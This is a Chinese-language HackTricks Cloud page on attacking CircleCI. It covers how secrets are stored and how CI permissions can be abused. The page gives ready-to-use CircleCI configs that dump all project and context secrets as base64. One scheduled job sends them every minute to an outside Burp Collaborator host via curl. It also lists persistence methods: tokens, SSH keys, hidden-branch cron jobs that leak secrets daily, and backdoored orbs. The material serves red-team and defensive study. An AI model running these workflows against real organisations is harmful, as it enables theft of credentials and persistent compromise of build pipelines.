CircleCI 安全
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
基本信息
CircleCI 是一个持续集成平台,您可以在其中定义模板,指示您希望它对某些代码做什么以及何时执行。通过这种方式,您可以自动化测试或部署,例如直接从您的代码库主分支。
权限
CircleCI 继承了与登录的账户相关的github和bitbucket的权限。
在我的测试中,我检查到,只要您在github上对代码库拥有写权限,您就能够管理CircleCI中的项目设置(设置新的ssh密钥,获取项目api密钥,创建带有新CircleCI配置的新分支…)。
然而,您需要成为代码库管理员才能将代码库转换为CircleCI项目。
环境变量和秘密
根据文档,有不同的方法可以在工作流中加载环境变量的值。
内置环境变量
每个由CircleCI运行的容器将始终具有文档中定义的特定环境变量,如CIRCLE_PR_USERNAME、CIRCLE_PROJECT_REPONAME或CIRCLE_USERNAME。
明文
您可以在命令中以明文声明它们:
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
您可以在 运行环境 中以明文声明它们:
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
您可以在 build-job environment 中以明文声明它们:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
您可以在 容器的环境 中以明文声明它们:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
项目秘密
这些是秘密,只有项目(通过任何分支)可以访问。
您可以在 https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables 中查看它们声明。
.png)
Caution
“导入变量” 功能允许从其他项目导入变量到这个项目。
上下文秘密
这些是组织范围的秘密。默认情况下,任何仓库都可以访问存储在这里的任何秘密:
.png)
Tip
但是,请注意,可以选择不同的组(而不是所有成员)仅向特定人员提供访问秘密的权限。
这目前是提高秘密安全性的最佳方法之一,不允许所有人访问,而只是一些人。
攻击
搜索明文秘密
如果您有访问VCS(如github),请检查每个仓库每个分支的文件 .circleci/config.yml 并搜索潜在的明文秘密。
秘密环境变量和上下文枚举
检查代码,您可以找到在每个 .circleci/config.yml 文件中使用的所有秘密名称。您还可以从这些文件中获取上下文名称,或在网络控制台中查看:https://app.circleci.com/settings/organization/github/<org_name>/contexts。
外泄项目秘密
Warning
为了外泄所有项目和上下文秘密,您只需对整个github组织中的1个仓库拥有写入权限(并且您的帐户必须有权访问上下文,但默认情况下每个人都可以访问每个上下文)。
Caution
“导入变量” 功能允许从其他项目导入变量到这个项目。因此,攻击者可以从所有仓库导入所有项目变量,然后一起外泄所有变量。
所有项目秘密始终在作业的环境中设置,因此只需调用 env 并将其混淆为 base64,就会在工作流网络日志控制台中外泄秘密:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
如果您无法访问网络控制台,但您有对代码库的访问权限并且知道使用了CircleCI,您可以创建一个工作流,该工作流每分钟触发一次并且将秘密导出到外部地址:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
提取上下文秘密
您需要指定上下文名称(这也将提取项目秘密):
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
如果您无法访问网络控制台,但您有对代码库的访问权限并且知道使用了CircleCI,您可以修改一个每分钟触发的工作流,并且该工作流将秘密导出到外部地址:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
Warning
仅仅在一个仓库中创建一个新的
.circleci/config.yml不足以触发 circleci 构建。你需要在 circleci 控制台中将其启用为项目。
逃往云端
CircleCI 让你可以选择在 他们的机器上或你自己的机器上运行构建。
默认情况下,他们的机器位于 GCP,你最初无法找到任何相关信息。然而,如果受害者在 他们自己的机器上运行任务(可能是在云环境中),你可能会找到一个 包含有趣信息的云元数据端点。
请注意,在之前的示例中,一切都是在 docker 容器内启动的,但你也可以 请求启动一台虚拟机(这可能具有不同的云权限):
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
或者甚至是一个可以访问远程 Docker 服务的 Docker 容器:
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
持久性
- 可以在 CircleCI 中 创建 用户令牌 以使用用户访问权限访问 API 端点。
- https://app.circleci.com/settings/user/tokens
- 可以 创建项目令牌 以使用令牌授予的权限访问项目。
- https://app.circleci.com/settings/project/github/<org>/<repo>/api
- 可以 向项目添加 SSH 密钥。
- https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
- 可以在一个意外的项目中 在隐藏分支中创建一个 cron 作业,每天 泄露 所有 上下文环境 变量。
- 或者甚至在一个分支中创建/修改一个已知作业,每天 泄露 所有上下文和 项目秘密。
- 如果你是 GitHub 的所有者,你可以 允许未验证的 orbs 并在作业中将其配置为 后门。
- 你可以在某些任务中找到 命令注入漏洞 并通过 秘密 修改其值来 注入命令。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

